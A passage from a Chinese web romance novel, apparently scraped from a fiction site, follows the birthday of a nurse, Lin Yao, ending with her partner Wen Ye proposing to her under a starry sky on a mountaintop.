她主动道:“你要是回不来就算了,等你回来再重新过也是一样的。” 电话那头隐约酒桌上攀谈的声音断续地传来,闻野应该是抽空出来,给她打来的电话。他问她:“那你不会不高兴,觉得我因为工作忽略了你么?” “不会呀,你是在忙正事嘛,而且这次生意你说还很重要呢。”她很善解人意道。 闻野有点儿无奈地轻叹了一声:“我家的小姑娘怎么那么懂事?” “懂事还不好吗?”林杳不解,笑着反问:“难不成你还想让我无理取闹,不知轻重缓急的非吵着让你回来陪我过生日啊,而且就是一个二十八岁的生日,又不是十八岁那种成年的日子。” 话音才落,耳边响起他“嗯”的一声回答。 林杳愣住了。 他被酒精浸染过的嗓音有些哑,一字字沉而稳,又掷地有声:“凡事有轻重缓急,但在我这儿,你就永远是重的,是急的那个。你十八岁的生日重要,二十八三十八的生日同样重要。要是为了赚钱,连一年一次的生日都不能陪你过了,那不是本末倒置么。” “所以在我面前你根本也不需要懂事,你想任性就任性,想无理取闹就无理取闹,有一点不开心了都不要自己憋着,都告诉我。” 林杳第一次有人这么跟她说。 从小她就被夸乖巧懂事,父母老师或者亲戚都是这么认为的,她还总被当做榜样让别人学习,她一直觉得这是个挺好的品质。 让人省心,也不给人添麻烦。 她心尖颤了颤,变得好软,又听见闻野问她:“刚才你主动让我不用回来过陪你过生日时,是不是其实有一点不高兴的?” “有那么一点点。”她咬了下唇,实话实说。 闻野笑了声:“所有事情我都会在17号之前处理完,我已经定了17号上午的机票。” 林杳眼睛顿时亮了,开心的情绪像气球一样一下被吹得鼓鼓的,像是要飘起来。 她赤脚蹬着地,手抓着藤绳晃悠着秋千,江面吹来的晚风很凉爽舒服,她心情也惬意无比。 思维发散开,她问道:“你怎么不像电视剧里演的那样,跟我说赶不回来,然后再在我生日那天突然露面给我个惊喜。” “我还真这么想过。”闻言轻笑了声,承认道:“但又觉得为了给你那几秒的惊喜,而让你之后这几天都被失望的情绪笼罩,太不值当了。” 在对待她上,男人永远考虑得周全,事无巨细, 一点难受不想让她受,珍惜得不能更珍惜。 他声音低磁又温柔,带着笑意,确定地告诉她:“三天之后我回来陪你过生日,庆祝我们杳杳又长大一岁。”魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 第六十三章 正文完结 第63章 第六十三章 正文完结 林杳找排到16号夜班的同事换了下, 这样她17号就能轮一天休,也能和闻野好好过生日了。 她平时性格好又乐于助人,闻野又时常给一整个科室点奶茶什么的, 这点小忙同事十分愿意帮忙。 夜班上到第二天八点, 林杳和同事交完班, 五分钟走回医院附近的家。 昨晚好几个病人夜里有突发状况,她没眯一下, 熬了一整个晚上,不仅身体疲惫,脑袋都是木的,林杳回到家就拉上被子倒头就睡。 结果卧室的窗帘没拉,随着太阳升起来,她被越来越刺眼的阳光照醒。 她不情不愿地睁开眼,人还困得迷迷糊糊的,视线里乍然出现了闻野半身赤裸的身影。 男人黑长的浓睫沾着水珠,衣服还没穿,只在腰间松松垮垮系着截浴巾,倒三角的完美身形, 腰瘦但肩膀宽阔,胸膛上一块块肌肉结实有力, 腹部的人鱼线流畅清晰, 一路往下延申, 性张力拉满又极具荷尔蒙爆棚的野性。 林杳给他用过手, 也夹着腿让他蹭过, 但那些都是在她关灯后进行的,这还是她头回这么清楚地看到他的身体。 还是一睁眼就看到的,视觉冲击更为强烈, 林杳困顿消减了大半,白皙的脸颊迅速染红了一层。 闻野半小时前到的家,先在客厅的卫生间洗了个澡才轻手轻脚地推开门进来,看见她这反应,他唇角忍不住勾起,戏谑的语气反问:“杳杳,我身体哪里没给你摸过,怎么现在光看看还能不好意思成这样?” 林杳被他不讲道理,还倒打一耙的调侃弄得脸更红,明明每回都是他抓着她的手,非要让她到处摸的! 她才刚想争辩,目光瞥到他肩膀,一处牙印的咬痕清晰可见,林杳思绪一滞。 闻野从衣柜拿了件短袖套上,把窗帘拉上了,房间顿时就暗了下来,他按开床头的一盏小灯,躺到小姑娘身侧,从她怀里拿出这些天一直被她抱着睡的小熊玩偶。 搁到了一边,还对着那只小熊道:“她该抱着我睡了,没你的份了。” 林杳被他这幼稚的对话逗笑了,闻野长臂一搂,把她带到了自己怀里,一个星期多不见,彼此都很想念,身体也会控制不住地想亲近。 两人吻起来,闻野一手搂着她腰,一手跟她十指扣着,很纯粹的一个接吻,不带什么情欲,更多只是渴望对方的气息。 顾及着她刚值完一晚上的夜班,吻了一会儿,闻野便放开她,将她小脑袋轻轻按进自己胸膛:“才十点半,再睡会儿,我们从下午再正式地开始过生日。” 男人胸膛间是阔别数日的温暖,身上满是清新又好闻的沐浴露香味,和一个人睡的感觉完全不一样,林杳吸着鼻子多嗅了嗅,才从他怀里抬起小脸。 “当时我是不是把你咬得很疼啊?”她语气有些自责。 当年他们分开,她真的好生气好难过,最后走的时候在他肩膀很用力地咬了一口,甚至咬出了血。 闻野愣了下反应过来,失笑道:“不疼,你能有多大力气啊。” 何况那时他心脏疼得像是被撕裂搅碎,身体处于行尸走肉的状态,别说咬他一口,往他身上划拉一刀都没多少知觉。 “那牙印的疤怎么过这么久了还在啊?”她不信,质疑道。 闻野低眸看着她,线条锋利的下颚被暖色的灯光笼着,显出几分柔和,嗓音又低又磁:“是我找人照着你牙印纹上去的,我当时想着,那这样你就不算从我生命里彻底消失,等百年之后,也有这个牙印陪着我一同埋葬。” 林杳心疼得痉挛了一下,声音里带出鼻音:“要不你也给我肩膀上也咬一下,我也去把你的牙印纹在身上。” 她觉得这样比较公平,想想还挺浪漫的,谁知一提议就遭到男人不假思索的拒绝。 “不行。” 闻野之前就是给人纹身的,最知道纹身有多疼,特别是对于痛觉神经敏感的人来说,多少个膀大腰粗的老爷们都被纹身机扎得发出杀猪似的嗷叫。 “你皮肤多嫩自己不知道,纸张锋利一点都能把你手指划破,还想被纹身机扎,不怕疼死?” 林杳想和他同甘共苦,很有决心道:“我可以忍的,你不是为了我疼过一次么,我也可以为你疼一次。” 闻野看着她信誓旦旦的小脸,唇弯了一下,神色认真起来:“纹身我是肯定不同意你纹的,但杳杳要记得现在说的话,特别是前半句。” 对上她疑惑不解的眼眸,他声音荡出笑意:“等我下次进去时,杳杳要记得自己说的,可以忍的。” 林杳:“……” 又睡了好半天,林杳到十二点多才起床,闻野先起给她煮长寿面,整个小碗里就一根很长的面条,但配料很丰盛,有番茄,小青菜,火腿片,还有煎成流心的鸡蛋。 吃的时候,闻野说了过生日的计划:“下午的时间你来支配,想干什么都行,晚上就交给我来安排了。” “好呀。”林杳咬着面条,笑眼弯弯地应。 她其实也没什么特别的想法,出门之后先让闻野和她去看了场电影,然后两人又去商场的一楼。 今天林杳很喜欢的文创品牌在这里开快闪店,很多首发的联名单品,还有盲袋可以买。 他们刚来的时候人就排了很多了,本以为电影看完队伍会减少一点,结果不但没有,那队伍弯弯绕绕地排得更长了, 很多和她一样想买的,都因这排的长队而有些望而却步。 林杳听到其中一个戴眼镜的男生劝着他女朋友—— “宝宝你看这架势,不排一个多小时肯定进不去,有这时间我们完全可以去做更有意义的事。你平时上班够辛苦了,还要站着等一个多小时等多累啊。” 女生脸上露出犹豫的表情,最终还是被说服了,说了声走吧,跟着男朋友离开时还是没忍住回头看了几次。 另一个穿着格子衫的男生趁机也对自己道:“亲爱的,我们也走吧,一个多小时够我写几页代码了,就为了几个小狗的本子娃娃,太不划算了。” 他女朋友不满道:“可我就是觉得这几个小狗可爱,就是喜欢想要买,你说的这么冠冕堂皇,不就是不愿意陪我等嘛!” 两人一人一句地争执起来,最后男生不耐烦道:“哪个男的愿意为几个幼稚的娃娃排一个小时队啊,你都快三十岁了,你能不能成熟一点?我宁愿回公司去加班也不陪你在这儿浪费生命了。” 男生扬长而去,女生气得眼睛红了一圈,在原地站了一会儿往相反的另一个出口走了。 林杳想了想,抬起头看向闻野叹口气道:“算了吧,这队真的好长啊。” “一个小时其实也还好,能买到你喜欢的东西就值得。杳杳你先去排着,我去给预约的餐厅打个电话,让他们晚点再把食材做上。” 闻野跟她说完,拿着手机走到远处安静的地方去打电话了。 林杳走到队伍后面,不到一会儿功夫,她身后又排了好多人,但前边的队伍才像乌龟往前挪动了很小一点。 闻野打完电话回来,手里多了把红色的塑料椅子:“站着累,你坐着等。” 他说着,把椅子放她身后,林杳还没来得及问他是从哪儿变出这把椅子的,排在她后边的一个卷发女生穿的还是高跟鞋,正站得脚趾疼,好奇又羡慕地问道:“帅哥你这椅子哪儿来的啊?” 闻野淡声回道:“楼上的火锅店,我充了五千的会员卡,找店员借了把椅子。” 卷发女生:“……” 五千块??!就为了借一把椅子?!!!算了,她还是多站一下吧。 林杳坐在椅子上跟闻野说话,一个小时也没那么漫长了,进到快闪店里,闻野提着购物篮跟在她旁边,时不时再给纠结的小姑娘一点参考意见。 去结账时购物篮快要装满了,林杳还买了个福袋,坐上车后她就迫不及待地开始拆。 “哇这个小金毛的坐垫好可爱,这个毯子也好实用,呀,我运气好好,一下抽中两个隐藏款的。” 闻野边开车边听她嗓音雀跃地 碎碎念,心情也变得很好,那是银行卡里多多少进账打款都不及的感受。 林杳最后从福袋里摸出一蓝一黄两只小狗的挂件,她从包里翻出钥匙,挂了只蓝色的上去。 闻野开到红绿灯路口,从裤兜摸出自己那串钥匙,伸手递给她。 见她表情懵了懵,还一副犹豫着,不太愿意的样子,闻野眉梢不高兴地挑起,语气质问:“这不是一对情侣款的么,杳杳你不给我挂上还想给谁啊?” “我本来准备给我女同事的,她也很喜欢这些。”林杳如实回答,又解释道:“因为你有时候还要见客户嘛,要是被他们看到你钥匙上还挂着这个,就不太好,会显得你不成熟。” 闻野嗤“了声:“我成不成熟还能由一个钥匙扣决定。” 他干脆把另一只黄色小狗的挂件抢了过来,自己挂上钥匙,语气霸道:“不许给别人,不管是什么东西,和你一对的只能是我。” 林杳觉得好笑,又想起排队时那个衬衣男生的话,她过完今晚也二十八岁了,她看向闻野:“你会不会觉得我这么大了,还喜欢这些有点幼稚啊?” “怎么可能。”闻野毫不犹豫地否定,“我只会觉得你可爱,也会觉得很荣幸。” 林杳没听懂后半句话的意思,疑惑地眨了下眼睛。 红灯灯转绿,闻野骨节修长的手指搭上方向盘,继续着道:“我不记得什么时候又是听谁说过这么一句话,说是女人只有在被呵护得很好,才会一直童心未泯,但我觉得这话说得还挺有道理。” “就我们最早住的那片老小区,我看过一些女人,在家做女儿时还总是很开心,后来结了婚有时再回娘家,就变得完全不一样了,眼睛失去了光彩,总是愁眉苦脸的,说到底都是因为婚姻过得不太幸福。要么是贫贱夫妻百事哀,要么是找的老公身上一堆臭毛病。” “你跟我在一起,一直保持着这些可爱的喜好,至少说明了我这个男朋友还算称职的,没有让你被生活磋磨而不得不长大。” 闻言唇角噙上笑意,语气郑重了几分:“我希望你到了八十岁,依然保持着做女孩子时的这份童心,我也会继续为之努力。” 林杳心脏像浸泡在四十度的蜂蜜水中,又甜又温暖,刚巧遇上下一个红绿灯,她解开身上的安全带,飞快凑过去往男人英俊的侧脸上亲了一口。 “不只是称职。”她大眼睛明亮,光彩熠熠的,“你是好得不能再好,能够打一百分的满分男朋友。” 到了闻野提前定的餐厅,味道和氛围都很好,就是服务员端来瓶红酒时,被他要求换成了别的果汁。 “我一点都不能喝吗?”她皱了皱鼻子,眼巴巴地看着他问。 “不不可以。”闻野笑着否决:“你自己酒量多差不知道啊,我们等下吃完饭还有安排呢。需要你完全保持着清醒,一点醉都不行。” 林杳兴冲冲地问是干嘛,闻野把挑去刺的鱼片放她碗里,迎上她满是期待的眼眸,他故意拖腔带调地说:“保密。” 林杳:“……” 吃完她坐上闻野开的车,越开越偏,逐渐驶离市区,一个多小时侯后,车往山上开了去。 车窗外的灌木丛满是星星点点,闪烁着绿光的萤火虫,漂亮梦幻得像闯进一个童话的世界,等车到山顶停下,林杳下了车,又再一次被震撼—— 漫天繁星闪烁,像无数颗钻石缀在黑丝绒的夜幕之中,因为站得高,和这些星星也像挨得近,有种一伸手就能摘到的错觉。 闻野走过来,山顶气温低,他把提前准备的针织外套给她披上,又拉好拉链,随之才单腿屈膝跪下。 在小姑娘愣怔的目光中,他拿出了戒指,水到渠成的事,却仍是紧张的,捏着钻戒的手指微微颤着。 他抬起的黑眸,专注地望向她:“杳杳,嫁给我好不好?我一定再接再厉,从杳杳心中一百分的男朋友变成一百分的老公。” 这根本就不用思考,林杳有些湿热的眼睛弯弯笑着,果断又坚决地把左手朝他伸了过去:“当然好呀。” 闻野小心翼翼地将戒指戴在她无名指上,轻抬起她手指,珍惜地亲了一口。 林杳把他拉起来,扑进他怀里,睁大的眼睛比满天的繁星还璀璨漂亮:“我还以为你会是明年情人节给我求婚呢,那是我们第一次遇见的日子呀。” “等不了那么久。”闻野笑,漆黑眸子里柔情满溢:“7月17这天,在我心底同样特别又弥足珍贵。” 不是什么节日,却是这一天,这个千千万万人的世界多了一个可爱的她,然后这个世界于他而言变得可爱起来。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs&